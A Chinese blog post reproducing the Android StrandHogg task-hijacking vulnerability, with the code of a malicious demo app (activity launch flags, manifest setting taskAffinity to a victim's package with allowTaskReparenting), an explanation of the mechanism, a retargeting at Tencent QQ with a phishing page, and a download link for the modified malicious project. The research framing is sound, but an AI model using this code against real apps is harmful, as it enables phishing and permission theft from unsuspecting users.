文章作者MG1937

CNBLOG博客:ALDYS4

QQ:3496925334

0x00 StrandHogg漏洞详情



StrandHogg漏洞 CVE编号:暂无

[漏洞危害]

近日,Android平台上发现了一个高危漏洞

该漏洞允许攻击者冒充任意合法应用,诱导受害者授予恶意应用权限

或者进行恶意钓鱼攻击

由于该漏洞允许恶意软件劫持合法应用的活动,并将自身恶意活动插入在合法活动之前

使得用户并没有意识到自己已经遭到攻击

[漏洞影响Android版本]

至2020年1月26日,经过测试,该漏洞影响Android全版本,包括目前最新的Android10

[漏洞利用条件]

几乎无条件即可利用此漏洞,即使在无Root机型上利用此漏洞也轻而易举

目前已发现36个应用恶意利用该漏洞进行攻击

0x01 漏洞复现

接下来我将新建一个完全合法的项目和一个攻击此合法App的恶意项目

并且让恶意软件劫持合法App,使恶意活动插入到合法活动之前,实现攻击目的

编译一个合法空项目并安装在手机上

项目命名为BeAttacked

包名:com.victim.app

其UI只有一个TextView控件,并且显示Hello World这段字符

该空项目假设为攻击者欲攻击的合法App

接下来新建一个利用此漏洞的恶意软件项目,命名为Attack

布局代码

activity_main.xml

<linearlayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity">

    <textview android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Innocent">

</textview></linearlayout>

如上述布局代码所示,该布局将只显示Innocent这段字符

新建一个布局,并且假设这个新建的布局为恶意活动显示的布局

attack.xml

<linearlayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity">

    <textview android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Attack Success!">

</textview></linearlayout>

同理,该布局将只显示 Attack Success! 这段字符

接下来新建Innocent类和Attack类,两个类分别显示activity_main和attack这两个布局

我们假设Attack这个类为恶意活动,我不想让用户在启动恶意软件时看到恶意活动而怀疑软件的真实意图

我想让用户在启动软件时只看到无害的活动,从而隐藏软件的真实意图,那么要如何实现呢

我可以预先启动Attack类,紧接着启动Innocent类,这样用户在页面上只能看见最顶层的Innocent类,而不是恶意活动

MainActivity类

public class MainActivity extends AppCompatActivity {

    @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//setContentView(R.layout.activity_main);
Intent innocent,attack;
attack=new Intent(this,Attack.class);
attack.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//将attack活动放置在一个新task中
attack.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);//取消过度动画,增加恶意软件迷惑性
innocent=new Intent(this,Innocent.class);
innocent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivities(new Intent[]{attack,innocent});//先后启动attack活动与innocent活动
finish();
}
}

接下来分析代码

我让程序创建了成员变量分别为innocent,attack的两个Intent对象

attack和innocent都带上了FLAG_ACTIVITY_NEW_TASK这个Flag

带上该Flag的Intent创建的活动都会在各自的任务栈中,互不影响

其中attack还带有FLAG_ACTIVITY_NO_ANIMATION这个flag

带有该Flag的Intent创建的活动将不显示过度动画

接着我调用了startActivities方法先后启动attack和innocent这两个活动

注意,Innocent这个活动在Attack启动之后才被启动,在活动先后顺序上,Innocent在最顶层

所以用户最终看到的活动只有Innocent这个无害活动

而Attack启动时取消了过度动画,除了个别机型会有稍微闪动外,在启动时无明显变化,从而增加了恶意软件迷惑性

代码已经编写完毕,还有一个问题,攻击者要怎么利用漏洞使得恶意活动插入在合法活动之前呢?

AndroidManifest.xml中编辑代码

<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN">
<category android:name="android.intent.category.LAUNCHER">
</category></action></intent-filter>
</activity>
<activity android:name=".Innocent">
<activity android:name=".Attack" android:taskaffinity="com.victim.app" android:allowtaskreparenting="true">
<!--
其中欲插入到合法活动前的恶意活动的taskAffinity属性就是欲攻击应用的包名
allowTaskReparenting属性为true
-->

代码中,恶意活动的taskAffinity属性就是欲攻击应用的包名

allowTaskReparenting属性为true,这两个属性设置完成后就能使得恶意活动插入到合法活动前了,

为什么这么设置?这就涉及到任务相似性和是否允许活动转移的问题了,这个后面讲,先复现漏洞

编译恶意软件,先打开恶意软件,使得恶意活动在后台就绪,接着再打开欲攻击的合法app

可以发现合法活动已经被恶意活动替代了!

接下来看复现漏洞的GIF图

漏洞成功复现!

0x02 漏洞原理分析

此漏洞利用涉及到任务栈问题,稍微复杂,所以我画了一张图来阐述为什么恶意活动可以插入到合法活动前

在分析之前请先读图,帮助理解



读完图首先就是要理解allowTaskReparenting这个属性的作用是什么

官方文档如下:https://developer.android.com/guide/topics/manifest/activity-element.html#reparent

官方文档的解释:当下一次将启动 Activity 的任务转至前台时,Activity 是否能从该任务转移至与其有相似性的任务 —“true”表示可以转移,“false”表示仍须留在启动它的任务处。(其中的相似性后面再讲,暂且理解成同一个任务栈)

我对官方文档的理解:

假设存在一个任务栈,将此任务栈命名为Task_1

Task_1中存放着两个Activity,分别是Activity_1和Activity_2,并且这个任务栈中的两个活动均在后台运行,用户不可见

假设Activity_1的allowTaskReparenting属性为true

Activity_2的allowTaskReparenting属性为默认值false

当用户 启动Activity_2时,任务栈Task_1也就随着Activity_2到达前台

但Activity_1的allowTaskReparenting属性为true,根据官方文档的解释,该活动能从后台转移至与其有相似性的任务,也就是同样转移至Task_1,

而此时Task_1已经在前台了,相当于Activity_1在Activity_2启动之后也启动了,从而到达了最顶层,而用户最终看到的活动也就是Activity_1了

理解完allowTaskReparenting属性之后.就要解释taskAffinity属性了

taskAffinity直接翻译过来就是任务相关性,

官方文档对该属性的解释为:

从概念上讲,具有同一相似性的 Activity 归属同一任务(从用户的角度来看,则是归属同一“应用”)。任务的相似性由其根 Activity 的相似性确定。

而确定应用相似性的属性就是taskAffinity

首先要知道,若应用没有特别定义taskAffinity的内容的话

则该应用中每个活动的taskAffinity属性的默认内容就是应用包名,所以在没有特别定义taskAffinity的应用中,每个活动均在同一个任务栈中

重新查看恶意活动的清单文件代码

<activity android:name=".Attack" android:taskaffinity="com.victim.app" android:allowtaskreparenting="true">

而要实现将恶意活动插入到合法活动之前,首先就需要恶意活动在合法活动的任务栈中

需要注意的是任务栈可以放置使用相同的taskAffinity的Activity,即使是跨程序也可以共享同一个任务栈

这就可以解释为什么需要恶意活动的taskAffinity属性为欲攻击应用的包名,这样就能让恶意活动与合法活动存在于同一任务栈中了

接着使恶意活动的allowTaskReparenting属性为true,这样就能在合法应用中的活动转至前台时,使得恶意活动同样转至前台

至此,整个攻击流程结束

0x03 漏洞利用及其危害

在0x01中,我已经完成了漏洞复现

为了展现出该漏洞的具体危害,我对复现过程中的Attack类及其布局进行了修改

将Attack类的taskAffinity属性改为腾讯QQ的包名,编译并安装

可以看到我将恶意活动的布局修改为钓鱼页面,真正展现出这个漏洞的危害性

攻击者不仅可以利用该漏洞精心设计一个页面来进行钓鱼攻击,也可以利用该漏洞诱导用户授予恶意软件相应权限进行恶意攻击

最后放出我修改过的恶意软件项目:

StrandHogg.zip 提取码: hci6

【Android漏洞复现】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗的更多相关文章

  1. [原创]Android Studio的Instant Run(即时安装)原理分析和源码浅析

    Android Studio升级到2.0之后,新增了Instant Run功能,该功能可以热替换apk中的部分代码,大幅提高测试安装的效率. 但是,由于我的项目中自定义了一些ClassLoader,当 ...

  2. Android中为APP创建快捷方式的原理(自己的理解)

    我们首先来看Android中为APP创建快捷方式的原理: 从图上可以看出,Android大致分7步完成快捷方式的创建: 第一步:Android系统的launcher程序会调用它的pickShortcu ...

  3. ScrollView嵌套ListView,ListView完全展开及makeMeasureSpec测量机制原理分析

    在实际应用中,经常会碰到非常规的布局要求,比如说在ScrollView里嵌套ListView,ScrollView和ListView都是可以滚动的控件,这样布局看似很奇怪,但是有些效果又不得不这样做. ...

  4. Firmware 加载原理分析【转】

    转自:http://blog.csdn.net/dxdxsmy/article/details/8669840 [-] 原理分析 实现机制 总结   前言 前段时间移植 wifi 驱动到 Androi ...

  5. iOS App Crash原理分析

    预备知识:OS X系统分析 1.内核XNU是Darwin的核心,也是整个OS X的核心.XNU本身由以下几个组件构成: Mach微核心 BSD层 libKern I/O Kit 此外,内核是模块化的, ...

  6. 通过qemu复现路由器漏洞

    目录 简介 环境搭建 固件解包 复现漏洞,IDA调试 参考资料 简介 qemu和vmware一样,一种虚拟机软件,只不过qemu能够虚拟的平台更加丰富一些.能够虚拟很多嵌入式平台的设备. 工作上需要向 ...

  7. ActiveMQ反序列化漏洞(CVE-2015-5254)复现

      0x00 漏洞前言 Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等.Apache ...

  8. Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 【转载自freebuf.com】

    零.绪论: 1.鸣谢freebuf的文章,主要是学习这个漏洞,文章地址: Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 2.在shadon上找了多个该漏洞尝试复现失败(评论 ...

  9. Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

    Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 一.漏洞描述 该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通 ...

随机推荐

  1. C#中的类、方法和属性

    这节讲C#中的类,方法,属性.这是编码中我们最直接打交道的三个结构.      类: 类(class)是面向对象中最基本的单元,它是一种抽象,对现实世界中事物的抽象,在C#中使用class关键字声明一 ...

  2. 前端实操案例丨如何实现JS向Vue传值

    摘要:项目开发过程中,组件通过render()函数渲染生成,并在组件内部定义了自定义拖拽指令.自定义拖拽指令规定了根据用户可以进行元素拖拽.缩放等一系列逻辑处理的动作. 本文分享自华为云社区<[ ...

  3. 强哥jQuery学习笔记

    js对象: 1.js内置对象 2.js元素对象 3.jquery对象 js特效: 1.js元素对象 2.jQuery对象 jQuery学习: 1.核心函数 2.选择器 3.筛选 4.文档处理 5.属性 ...

  4. jmeter中beanshell postprocessor结合fastjson库提取不确定个数的json参数

    在项目实践中,遇到了这样一个问题.用jmeter作http接口测试,需要的接口参数个数是不确定的.也就是说,在每次测试中,根据情况不同,可能页面中的列表中所含的参数个数是不确定的,那么要提取的参数个数 ...

  5. Java 运行 Jar 包中java -cp 与 java jar 的区别

    java -cp java -cp 和 -classpath 一样,是指定类运行所依赖其他类的路径,通常是类库和jar包,需要全路径到jar包,多个jar包之间连接符:window上分号"; ...

  6. 第9章 case条件语句的应用实践

    case语句企业级生产案例 范例9-7:实现通过传参的方式往/etc/openvpn_authfile.conf里添加用户,具体要求如下. 1)命令用法为: USAGE: sh adduser {-a ...

  7. cp1 项目管理概述

    项目不成功:问题很多 chapter__1 ① 任务不明确 ② 变更 ③ 新技术 ④ 成本 ⑤ 进度 ⑥ 质量问题 ⑦ 开发混乱 ⑧ 用户 项目定义 项目 (Project) 是为了创造一个唯一的产品 ...

  8. Python3.x 基础练习题100例(91-100)

    练习91: 题目: 时间函数举例1. 程序: if __name__ == '__main__': import time print (time.ctime(time.time())) print ...

  9. [Django高级之Auth模块]

    [Django高级之Auth模块] auth模块 ←详情点击查看 1.Auth模块是什么 Auth模块是Django自带的用户认证模块: 我们在开发一个网站的时候,无可避免的需要设计实现网站的用户系统 ...

  10. Linux 安装配置 tftp 服务器

    1.安装TFTP服务 安装服务端 sudo apt-get install tftpd-hpa 安装客服端 sudo apt-get install tftp-hpa 2.创建TFTP服务器目录 cd ...